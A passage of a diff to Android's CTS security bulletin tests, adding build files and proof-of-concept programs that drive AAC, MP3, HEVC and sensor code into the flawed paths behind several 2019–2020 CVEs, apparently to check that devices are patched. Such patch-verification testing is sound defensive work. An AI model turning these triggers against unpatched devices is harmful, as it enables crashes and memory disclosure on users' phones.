+  FILE *fp = fopen(argv[1], "rb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  fseek(fp, 0, SEEK_END);
+  UINT size = ftell(fp);
+  fseek(fp, 0, SEEK_SET);
+  UCHAR *data = new UCHAR[size];
+  fread(data, sizeof(UCHAR), size, fp);
+  fclose(fp);
+  fp = nullptr;
+
+  Codec *codec = new Codec();
+  if (!codec) {
+    delete[] data;
+    return EXIT_FAILURE;
+  }
+
+  if (codec->initDecoder()) {
+    codec->decodeFrames((UCHAR *)(data), static_cast<UINT>(size));
+  }
+
+  delete codec;
+  delete[] data;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
index 0a19bec..b10d624 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/Android.bp
@@ -15,6 +15,10 @@
  *
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2019-9313",
 
@@ -29,12 +33,14 @@
         "frameworks/native/include/media/openmax",
         "frameworks/av/media/libstagefright",
         "frameworks/native/include/media/hardware",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/include",
-        "frameworks/av/media/libstagefright/codecs/mp3dec/src",
         "frameworks/av/media/libmedia/include",
         "frameworks/av/media/libstagefright/xmlparser/include",
     ],
 
+    header_libs: [
+        "libstagefright_mp3dec_headers",
+    ],
+
     shared_libs: [
         "libstagefright",
         "libstagefright_omx",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
index a559537..1ac7b76 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9313/poc.cpp
@@ -14,10 +14,11 @@
  * limitations under the License.
  */
 
+#include <s_tmp3dec_file.h> // from the mp3dec library
+
 #include "../includes/common.h"
 #include "../includes/memutils_track.h"
 #include "../includes/omxUtils.h"
-#include "codecs/mp3dec/src/s_tmp3dec_file.h"
 #include "media/omx/1.0/WOmx.h"
 #include "omx/include/media/stagefright/omx/1.0/Omx.h"
 
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
index 7a52d1c..0e5d17d 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9347/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2019-9347",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
@@ -37,5 +41,3 @@
         "-Werror",
     ],
 }
-
-
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
new file mode 100644
index 0000000..9a7a370
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-9357",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    include_dirs: [
+        "external/aac/libFDK/include",
+        "external/aac/libAACdec/src",
+        "external/aac/libSYS/include",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
new file mode 100644
index 0000000..d906a2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+
+#include "FDK_bitstream.h"
+#include "aacdec_hcr_types.h"
+#include "aacdec_hcrs.h"
+
+int main() {
+
+  FDK_BITSTREAM *bs = (FDK_BITSTREAM *)malloc(sizeof(FDK_BITSTREAM));
+  if (!bs) {
+    return EXIT_FAILURE;
+  }
+
+  CErHcrInfo *pHcr = (CErHcrInfo *)malloc(sizeof(CErHcrInfo));
+  if (!pHcr) {
+    free(bs);
+    return EXIT_FAILURE;
+  }
+
+  memset(bs, 0x00, sizeof(FDK_BITSTREAM));
+  memset(pHcr, 0x00, sizeof(CErHcrInfo));
+
+  DecodeNonPCWs(bs, pHcr);
+
+  free(bs);
+  free(pHcr);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
new file mode 100644
index 0000000..1cb71e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-9362",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libbluetooth",
+    ],
+    include_dirs: [
+        "external/aac/libSACdec/src",
+        "external/aac/libSACdec/include",
+        "external/aac/libFDK/include",
+        "external/aac/libSYS/include",
+    ],
+    cflags: [
+        "-Wno-unused-parameter",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
new file mode 100644
index 0000000..f388f89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
@@ -0,0 +1,154 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "sac_bitdec.h"
+#include "sac_dec_conceal.h"
+#include <iostream>
+
+#define MAX_PARAMETER_SETS (9)
+#define MAX_NUM_OTT (5)
+
+#define RETURN_EXIT_FAILURE_IF_NULL(ptr)                                       \
+  {                                                                            \
+    if (!ptr) {                                                                \
+      return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_FAILURE);       \
+    }                                                                          \
+  }
+
+typedef signed char SCHAR;
+
+int freeAllocatedMemoryAndReturn(SPATIAL_BS_FRAME *frame, spatialDec *decoder,
+                                 int errorCode) {
+  if (frame) {
+    if (frame->CLDLosslessData) {
+      for (int i = 0; i < MAX_NUM_OTT; ++i) {
+        if ((&frame->CLDLosslessData[i])->state) {
+          free((&frame->CLDLosslessData[i])->state);
+          (&frame->CLDLosslessData[i])->state = nullptr;
+        }
+      }
+      free(frame->CLDLosslessData);
+      frame->CLDLosslessData = nullptr;
+    }
+    if (frame->ICCLosslessData) {
+      free(frame->ICCLosslessData);
+      frame->ICCLosslessData = nullptr;
+    }
+    if (frame->IPDLosslessData) {
+      free(frame->IPDLosslessData);
+      frame->IPDLosslessData = nullptr;
+    }
+    free(frame);
+    frame = nullptr;
+  }
+
+  if (decoder) {
+    if (decoder->pConfigCurrent) {
+      free(decoder->pConfigCurrent);
+      decoder->pConfigCurrent = nullptr;
+    }
+    if (decoder->ottCLDidxPrev) {
+      free(decoder->ottCLDidxPrev);
+      decoder->ottCLDidxPrev = nullptr;
+    }
+    if (decoder->smgTime) {
+      free(decoder->smgTime);
+      decoder->smgTime = nullptr;
+    }
+    if (decoder->smgData) {
+      free(decoder->smgData);
+      decoder->smgData = nullptr;
+    }
+    if (decoder->smoothState) {
+      free(decoder->smoothState);
+      decoder->smoothState = nullptr;
+    }
+    free(decoder);
+    decoder = nullptr;
+  }
+  return errorCode;
+}
+
+int main() {
+  spatialDec *decoder = (spatialDec *)malloc(sizeof(spatialDec));
+  if (!decoder) {
+    return EXIT_FAILURE;
+  }
+  SPATIAL_BS_FRAME *frame =
+      (SPATIAL_BS_FRAME *)malloc(sizeof(SPATIAL_BS_FRAME));
+
+  RETURN_EXIT_FAILURE_IF_NULL(frame);
+  memset(frame, 0x00, sizeof(SPATIAL_BS_FRAME));
+
+  RETURN_EXIT_FAILURE_IF_NULL(decoder);
+  memset(decoder, 0x00, sizeof(spatialDec));
+
+  size_t allocSize = sizeof(LOSSLESSDATA) * MAX_NUM_OTT * MAX_NUM_PARAMETERS;
+
+  frame->CLDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->CLDLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->ICCLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->ICCLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->IPDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+  RETURN_EXIT_FAILURE_IF_NULL(frame->IPDLosslessData);
+  memset(frame->CLDLosslessData, 0x00, allocSize);
+
+  frame->numParameterSets = MAX_PARAMETER_SETS;
+
+  for (int i = 0; i < MAX_NUM_OTT; ++i) {
+    (&frame->CLDLosslessData[i])->state = nullptr;
+    for (int j = 0; j < MAX_PARAMETER_SETS; ++j) {
+      (&frame->CLDLosslessData[i])->bsXXXDataMode[j] = 2;
+    }
+    (&frame->CLDLosslessData[i])->state =
+        (LOSSLESSSTATE *)malloc(sizeof(LOSSLESSSTATE));
+    RETURN_EXIT_FAILURE_IF_NULL((&frame->CLDLosslessData[i])->state);
+    memset((&frame->CLDLosslessData[i])->state, 0x00, sizeof(LOSSLESSSTATE));
+  }
+
+  decoder->numOttBoxes = MAX_NUM_OTT;
+
+  decoder->pConfigCurrent =
+      (SPATIAL_SPECIFIC_CONFIG *)malloc(sizeof(SPATIAL_SPECIFIC_CONFIG));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->pConfigCurrent);
+  memset(decoder->pConfigCurrent, 0x00, sizeof(SPATIAL_SPECIFIC_CONFIG));
+
+  decoder->ottCLDidxPrev = (SCHAR **)malloc(sizeof(SCHAR *));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->ottCLDidxPrev);
+  memset(decoder->ottCLDidxPrev, 0x00, sizeof(SCHAR *));
+
+  decoder->smgTime = (int *)malloc(sizeof(int));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smgTime);
+  memset(decoder->smgTime, 0x00, sizeof(int));
+
+  decoder->smgData = (UCHAR **)malloc(sizeof(UCHAR *));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smgData);
+  memset(decoder->smgData, 0x00, sizeof(UCHAR *));
+
+  decoder->smoothState = (SMOOTHING_STATE *)malloc(sizeof(SMOOTHING_STATE));
+  RETURN_EXIT_FAILURE_IF_NULL(decoder->smoothState);
+  memset(decoder->smoothState, 0x00, sizeof(SMOOTHING_STATE));
+
+  decoder->arbitraryDownmix = 0;
+  (decoder->concealInfo).concealState = SpatialDecConcealState_Ok;
+
+  SpatialDecDecodeFrame(decoder, frame);
+  return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
new file mode 100644
index 0000000..ea3f345
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0007",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+    shared_libs: [
+        "libsensor",
+    ],
+    cflags: [
+        "-DCHECK_UNINITIALIZED_MEMORY",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..78259bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include "hardware/sensors.h"
+#include "sensor/Sensor.h"
+#include "stdlib.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) { return (size == vulnerableSize); }
+
+static sensor_t getTestSensorT() {
+  sensor_t hwSensor = {};
+  hwSensor.name = "Test ";
+  hwSensor.vendor = hwSensor.name;
+  hwSensor.version = 1;
+  hwSensor.handle = 2;
+  hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+  hwSensor.maxRange = 10.f;
+  hwSensor.resolution = 1.f;
+  hwSensor.power = 5.f;
+  hwSensor.minDelay = 1000;
+  hwSensor.fifoReservedEventCount = 50;
+  hwSensor.fifoMaxEventCount = 100;
+  hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+  hwSensor.requiredPermission = "";
+  hwSensor.maxDelay = 5000;
+  hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+  return hwSensor;
+}
+
+int main() {
+  sensor_t hwSensor = getTestSensorT();
+  Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+  vulnerableSize = sensor1.getFlattenedSize();
+  enable_selective_overload = ENABLE_MALLOC_CHECK;
+  void *buffer = malloc(vulnerableSize);
+  if (!buffer) {
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+  sensor1.flatten(buffer, vulnerableSize);
+  int status = is_memory_uninitialized();
+  free(buffer);
+  return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
index 8ce25c1..32d8415 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0069/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CVE-2020-0069",
     defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
new file mode 100644
index 0000000..138f112
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2020-0213",
+    defaults: [
+        "cts_hostsidetests_securitybulletin_defaults",
+        "libcodec2-hidl-client-defaults",
+    ],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libcodec2_client",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
new file mode 100644
index 0000000..30e22d4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/poc.cpp
@@ -0,0 +1,482 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <C2AllocatorIon.h>
+#include <C2Buffer.h>
+#include <C2BufferPriv.h>
+#include <C2Config.h>
+#include <C2Debug.h>
+#include <codec2/hidl/client.h>
+#include <gui/BufferQueue.h>
+#include <gui/IConsumerListener.h>
+#include <gui/IProducerListener.h>
+
+#include <chrono>
+#include <condition_variable>
+#include <fstream>
+#include <iostream>
+
+#include "../includes/common.h"
+
+using android::C2AllocatorIon;
+using std::chrono_literals::operator""ms;
+
+#define MAXIMUM_NUMBER_OF_RETRIES 20
+#define QUEUE_TIMEOUT 400ms
+#define MAXIMUM_NUMBER_OF_INPUT_BUFFERS 8
+#define ALIGN(_sz, _align) ((_sz + (_align - 1)) & ~(_align - 1))
+
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+              std::mutex& queueLock, std::condition_variable& queueCondition,
+              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+              uint32_t& framesReceived);
+
+struct FrameInfo {
+    int bytesCount;
+    uint32_t flags;
+    int64_t timestamp;
+};
+
+class LinearBuffer : public C2Buffer {
+   public:
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block)
+        : C2Buffer({block->share(block->offset(), block->size(), ::C2Fence())}) {}
+
+    explicit LinearBuffer(const std::shared_ptr<C2LinearBlock>& block, size_t size)
+        : C2Buffer({block->share(block->offset(), size, ::C2Fence())}) {}
+};
+
+/*
+ * Handle Callback functions onWorkDone(), onTripped(),
+ * onError(), onDeath(), onFramesRendered()
+ */
+struct CodecListener : public android::Codec2Client::Listener {
+   public:
+    CodecListener(
+        const std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> fn = nullptr)
+        : callBack(fn) {}
+    virtual void onWorkDone(const std::weak_ptr<android::Codec2Client::Component>& comp,
+                            std::list<std::unique_ptr<C2Work>>& workItems) override {
+        (void)comp;
+        if (callBack) {
+            callBack(workItems);
+        }
+    }
+
+    virtual void onTripped(
+        const std::weak_ptr<android::Codec2Client::Component>& comp,
+        const std::vector<std::shared_ptr<C2SettingResult>>& settingResults) override {
+        (void)comp;
+        (void)settingResults;
+    }
+
+    virtual void onError(const std::weak_ptr<android::Codec2Client::Component>& comp,
+                         uint32_t errorCode) override {
+        (void)comp;
+        (void)errorCode;
+    }
+
+    virtual void onDeath(const std::weak_ptr<android::Codec2Client::Component>& comp) override {
+        (void)comp;
+    }
+
+    virtual void onInputBufferDone(uint64_t frameIndex, size_t arrayIndex) override {
+        (void)frameIndex;
+        (void)arrayIndex;
+    }
+
+    virtual void onFrameRendered(uint64_t bufferQueueId, int32_t slotId,
+                                 int64_t timestampNs) override {
+        (void)bufferQueueId;
+        (void)slotId;
+        (void)timestampNs;
+    }
+    std::function<void(std::list<std::unique_ptr<C2Work>>& workItems)> callBack;
+};
+
+class Codec2VideoDecHidlTestBase {
+   public:
+    bool SetUp() {
+        mClient = getClient();
+        if (!mClient) {
+            return false;
+        }
+        mListener.reset(new CodecListener(
+            [this](std::list<std::unique_ptr<C2Work>>& workItems) { handleWorkDone(workItems); }));
+        if (!mListener) {
+            return false;
+        }
+        mComponent = android::Codec2Client::CreateComponentByName(mComponentName.c_str(), mListener,
+                                                                  &mClient);
+        if (!mComponent) {
+            return false;
+        }
+        for (int i = 0; i < MAXIMUM_NUMBER_OF_INPUT_BUFFERS; ++i) {
+            mWorkQueue.emplace_back(new C2Work);
+        }
+        std::shared_ptr<C2AllocatorStore> store = android::GetCodec2PlatformAllocatorStore();
+        if (store->fetchAllocator(C2AllocatorStore::DEFAULT_LINEAR, &mLinearAllocator) != C2_OK) {
+            return false;
+        }
+        mLinearPool = std::make_shared<C2PooledBlockPool>(mLinearAllocator, ++mBlockPoolId);
+        if (!mLinearPool) {
+            return false;
+        }
+        mEos = false;
+        mHasVulnerability = false;
+        mTimestampUs = 0u;
+        mWorkResult = C2_OK;
+        mFramesReceived = 0;
+        return true;
+    }
+
+    ~Codec2VideoDecHidlTestBase() {
+        if (mComponent != nullptr) {
+            mComponent->release();
+            mComponent = nullptr;
+        }
+    }
+
+    std::shared_ptr<android::Codec2Client> getClient() {
+        auto instances = android::Codec2Client::GetServiceNames();
+        for (std::string instance : instances) {
+            std::shared_ptr<android::Codec2Client> client =
+                android::Codec2Client::CreateFromService(instance.c_str());
+            std::vector<C2Component::Traits> components = client->listComponents();
+            for (C2Component::Traits traits : components) {
+                if (instance.compare(traits.owner)) {
+                    continue;
+                }
+                if (traits.domain == DOMAIN_VIDEO && traits.kind == KIND_DECODER &&
+                    mComponentName.compare(traits.name)) {
+                    return android::Codec2Client::CreateFromService(
+                        instance.c_str(),
+                        !bool(android::Codec2Client::CreateFromService("default", true)));
+                }
+            }
+        }
+        return nullptr;
+    }
+
+    void checkBufferOK(std::unique_ptr<C2Work>& work) {
+        const C2GraphicView output =
+            work->worklets.front()->output.buffers[0]->data().graphicBlocks().front().map().get();
+        uint8_t* uPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_U]);
+        uint8_t* vPlane = const_cast<uint8_t*>(output.data()[C2PlanarLayout::PLANE_V]);
+        const uint8_t ul[] = {109, 109, 109, 109, 109, 109, 109};
+        const uint8_t vl[] = {121, 121, 121, 121, 121, 121, 121};
+        const uint8_t ur[] = {114, 114, 120, 120, 122, 127, 127};
+        const uint8_t vr[] = {126, 121, 123, 121, 123, 126, 126};
+        if (!memcmp(uPlane - 7, ul, 7) && !memcmp(vPlane - 7, vl, 7) &&
+            !memcmp(uPlane + 1, ur, 7) && !memcmp(vPlane + 1, vr, 7)) {
+            mHasVulnerability |= true;
+        }
+    }
+
+    // Config output pixel format
+    bool configPixelFormat(uint32_t format) {
+        std::vector<std::unique_ptr<C2SettingResult>> failures;
+        C2StreamPixelFormatInfo::output pixelformat(0u, format);
+
+        std::vector<C2Param*> configParam{&pixelformat};
+        c2_status_t status = mComponent->config(configParam, C2_DONT_BLOCK, &failures);
+        if (status == C2_OK && failures.size() == 0u) {
+            return true;
+        }
+        return false;
+    }
+
+    // callback function to process onWorkDone received by Listener
+    void handleWorkDone(std::list<std::unique_ptr<C2Work>>& workItems) {
+        for (std::unique_ptr<C2Work>& work : workItems) {
+            if (!work->worklets.empty()) {
+                // For decoder components current timestamp always exceeds
+                // previous timestamp if output is in display order
+                mWorkResult |= work->result;
+                bool codecConfig =
+                    ((work->worklets.front()->output.flags & C2FrameData::FLAG_CODEC_CONFIG) != 0);
+                if (!codecConfig && !work->worklets.front()->output.buffers.empty()) {
+                    checkBufferOK(work);
+                }
+                bool mCsd = false;
+                workDone(mComponent, work, mFlushedIndices, mQueueLock, mQueueCondition, mWorkQueue,
+                         mEos, mCsd, mFramesReceived);
+                (void)mCsd;
+            }
+        }
+    }
+
+    const std::string mComponentName = "c2.android.hevc.decoder";
+    bool mEos;
+    bool mHasVulnerability;
+    uint64_t mTimestampUs;
+    int32_t mWorkResult;
+    uint32_t mFramesReceived;
+    std::list<uint64_t> mFlushedIndices;
+
+    C2BlockPool::local_id_t mBlockPoolId;
+    std::shared_ptr<C2BlockPool> mLinearPool;
+    std::shared_ptr<C2Allocator> mLinearAllocator;
+
+    std::mutex mQueueLock;
+    std::condition_variable mQueueCondition;
+    std::list<std::unique_ptr<C2Work>> mWorkQueue;
+
+    std::shared_ptr<android::Codec2Client> mClient;
+    std::shared_ptr<android::Codec2Client::Listener> mListener;
+    std::shared_ptr<android::Codec2Client::Component> mComponent;
+};
+
+// process onWorkDone received by Listener
+void workDone(const std::shared_ptr<android::Codec2Client::Component>& component,
+              std::unique_ptr<C2Work>& work, std::list<uint64_t>& flushedIndices,
+              std::mutex& queueLock, std::condition_variable& queueCondition,
+              std::list<std::unique_ptr<C2Work>>& workQueue, bool& eos, bool& csd,
+              uint32_t& framesReceived) {
+    // handle configuration changes in work done
+    if (work->worklets.front()->output.configUpdate.size() != 0) {
+        std::vector<std::unique_ptr<C2Param>> updates =
+            std::move(work->worklets.front()->output.configUpdate);
+        std::vector<C2Param*> configParam;
+        std::vector<std::unique_ptr<C2SettingResult>> failures;
+        for (size_t i = 0; i < updates.size(); ++i) {
+            C2Param* param = updates[i].get();
+            if (param->index() == C2StreamInitDataInfo::output::PARAM_TYPE) {
+                C2StreamInitDataInfo::output* csdBuffer = (C2StreamInitDataInfo::output*)(param);
+                size_t csdSize = csdBuffer->flexCount();
+                if (csdSize > 0) {
+                    csd = true;
+                }
+            } else if ((param->index() == C2StreamSampleRateInfo::output::PARAM_TYPE) ||
+                       (param->index() == C2StreamChannelCountInfo::output::PARAM_TYPE) ||
+                       (param->index() == C2StreamPictureSizeInfo::output::PARAM_TYPE)) {
+                configParam.push_back(param);
+            }
+        }
+        component->config(configParam, C2_DONT_BLOCK, &failures);
+        assert(failures.size() == 0u);
+    }
+    if (work->worklets.front()->output.flags != C2FrameData::FLAG_INCOMPLETE) {
+        ++framesReceived;
+        eos = (work->worklets.front()->output.flags & C2FrameData::FLAG_END_OF_STREAM) != 0;
+        auto frameIndexIt = std::find(flushedIndices.begin(), flushedIndices.end(),
+                                      work->input.ordinal.frameIndex.peeku());
+        work->input.buffers.clear();
+        work->worklets.clear();
+        {
+            typedef std::unique_lock<std::mutex> ULock;
+            ULock l(queueLock);
+            workQueue.push_back(std::move(work));
+            if (!flushedIndices.empty() && (frameIndexIt != flushedIndices.end())) {
+                flushedIndices.erase(frameIndexIt);
+            }
+            queueCondition.notify_all();
+        }
+    }
+}
+
+bool decodeNFrames(const std::shared_ptr<android::Codec2Client::Component>& component,
+                   std::mutex& queueLock, std::condition_variable& queueCondition,
+                   std::list<std::unique_ptr<C2Work>>& workQueue,
+                   std::list<uint64_t>& flushedIndices, std::shared_ptr<C2BlockPool>& linearPool,
+                   std::ifstream& ifStream, android::Vector<FrameInfo>* Info) {
+    typedef std::unique_lock<std::mutex> ULock;
+    int frameID = 0;
+    int retryCount = 0;
+    while (1) {
+        if (frameID == (int)Info->size()) {
+            break;
+        }
+        uint32_t flags = 0;
+        std::unique_ptr<C2Work> work;
+        // Prepare C2Work
